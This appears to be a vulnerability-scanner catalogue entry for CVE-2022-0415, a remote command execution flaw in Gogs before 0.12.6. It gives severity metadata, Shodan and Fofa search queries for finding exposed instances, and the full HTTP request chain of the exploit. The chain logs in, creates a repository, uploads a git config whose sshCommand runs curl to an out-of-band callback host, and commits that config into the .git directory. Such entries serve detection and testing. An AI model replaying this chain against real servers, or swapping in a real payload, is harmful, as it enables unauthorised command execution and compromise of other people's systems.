| Title | Gogs <0.12.6 - Remote Command Execution |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system. |
| Remediation | Fixed in version 0.12.6. |
| CVSS Score | 8.8 |
| EPSS Score | 0.85529 |
| CVE ID | CVE-2022-0415 |
| CWE ID | CWE-434,CWE-20 |
| Shodan Query | cpe:"cpe:2.3:a:gogs:gogs"http.title:"sign in - gogs" |
| Fofa Query | title="sign in - gogs" |
| Tags | cve cve2022 rce gogs authenticated huntr intrusive vuln |
Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
GET /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=XihPcC&user_name=0nTIQY&password=IZWLWVRC
GET /repo/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17
Connection: close
Accept-Encoding: gzip
POST /repo/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=uguzFp&user_id=1&repo_name=38F3lBwJLnHpO79lXHl6R690tus&description=test&gitignores=&license=&readme=Default&auto_init=on
POST /0nTIQY/38F3lBwJLnHpO79lXHl6R690tus/upload-file HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 655
Accept: application/json
Content-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395
X-Csrf-Token: uguzFp
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------313811965223810628771946318395
Content-Disposition: form-data; name="file"; filename="config"
Content-Type: application/octet-stream
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = curl http://d5jlphple0o2od505eogeuokc8gz1qcu6.oast.online -I
[remote "origin"]
url = git@github.com:torvalds/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
-----------------------------313811965223810628771946318395--
POST /0nTIQY/38F3lBwJLnHpO79lXHl6R690tus/_upload/master/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Safari/537.36
Connection: close
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=uguzFp&tree_path=/.git/&files=aFgwdT&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0415.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0415.pcap
N/AN/A